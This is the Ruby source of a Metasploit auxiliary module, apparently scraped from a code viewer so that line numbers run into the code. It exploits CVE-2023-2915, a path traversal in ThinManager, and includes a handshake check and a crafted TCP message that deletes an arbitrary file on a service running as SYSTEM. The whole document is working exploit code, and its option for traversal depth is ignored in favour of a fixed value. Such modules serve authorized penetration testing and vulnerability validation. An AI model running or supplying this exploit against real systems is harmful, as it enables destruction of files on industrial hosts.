Path: blob/master/modules/auxiliary/admin/networking/thinmanager_traversal_delete.rb
19579 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report8prepend Msf::Exploit::Remote::AutoCheck910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ThinManager Path Traversal (CVE-2023-2915) Arbitrary File Delete',15'Description' => %q{16This module exploits a path traversal vulnerability (CVE-2023-2915) in17ThinManager <= v13.1.0 to delete arbitrary files from the system.18The affected service listens by default on TCP port 2031 and runs in the19context of NT AUTHORITY\SYSTEM.20},21'Author' => [22'Michael Heinzl', # MSF Module23'Tenable' # Discovery and PoC24],25'License' => MSF_LICENSE,26'References' => [27['CVE', '2023-2915'],28['URL', 'https://www.tenable.com/security/research/tra-2023-28'],29['URL', 'https://support.rockwellautomation.com/app/answers/answer_view/a_id/1140471']30],31'DisclosureDate' => '2023-08-17',32'DefaultOptions' => {33'RPORT' => 2031,34'SSL' => false35},36'Notes' => {37'Stability' => [CRASH_SAFE],38'Reliability' => [],39'SideEffects' => [IOC_IN_LOGS]40}41)42)4344register_options(45[46OptString.new('FILE', [false, 'The file to delete from the target system.', '/tmp/foo.txt']),47OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])48]49)50end5152def check53begin54connect55rescue Rex::ConnectionTimeout56print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")57return Exploit::CheckCode::Unknown58end5960vprint_status('Sending handshake...')61handshake = [0x100].pack('V')62vprint_status(Rex::Text.to_hex_dump(handshake))63sock.put(handshake)6465res = sock.get_once(4096, 5)66expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b6768if res&.start_with?(expected_header)69vprint_status('Received handshake response.')70vprint_status(Rex::Text.to_hex_dump(res))71disconnect72return Exploit::CheckCode::Detected73elsif res74vprint_status('Received unexpected handshake response:')75vprint_status(Rex::Text.to_hex_dump(res))76disconnect77return Exploit::CheckCode::Safe78else79disconnect80return Exploit::CheckCode::Unknown('No handshake response received.')81end82end8384def mk_msg(msg_type, flags, data)85dlen = data.length86hdr = [msg_type, flags, dlen].pack('nnN')87hdr + data88end8990def run91print_status('Sending handshake...')9293begin94connect95rescue Rex::ConnectionTimeout => e96fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")97end9899handshake = [0x100].pack('V')100vprint_status(Rex::Text.to_hex_dump(handshake))101102begin103sock.put(handshake)104rescue StandardError => e105fail_with(Failure::UnexpectedReply, "Failed during handshake send: #{e.class} - #{e.message}")106end107108res = sock.get109if res110print_status('Received handshake response.')111vprint_status(Rex::Text.to_hex_dump(res))112else113print_error('No handshake response received.')114fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")115end116117begin118fname = datastore['FILE']119traversal = '../' * 7120full_fname = traversal + fname121full_fname = full_fname.gsub(%r{/+}, '/')122123data = [0xaa].pack('N')124data << "unk_str1\x00"125data << [1].pack('N')126data << full_fname.encode('ASCII') + "\x00"127128req = mk_msg(21, 0x0021, data)129rescue StandardError => e130fail_with(Failure::BadConfig, "Failed to construct request: #{e.class} - #{e.message}")131end132133vprint_status(Rex::Text.to_hex_dump(req))134135print_status("Deleting #{fname} from #{datastore['RHOSTS']}")136sock.put(req)137138begin139res = sock.get140if res141print_good('Received response from target.')142vprint_status(Rex::Text.to_hex_dump(res)) if res143else144print_error('No response received from target.')145end146rescue StandardError => e147fail_with(Failure::TimeoutExpired, "Failed to receive response: #{e.class} - #{e.message}")148ensure149disconnect150end151end152end153154155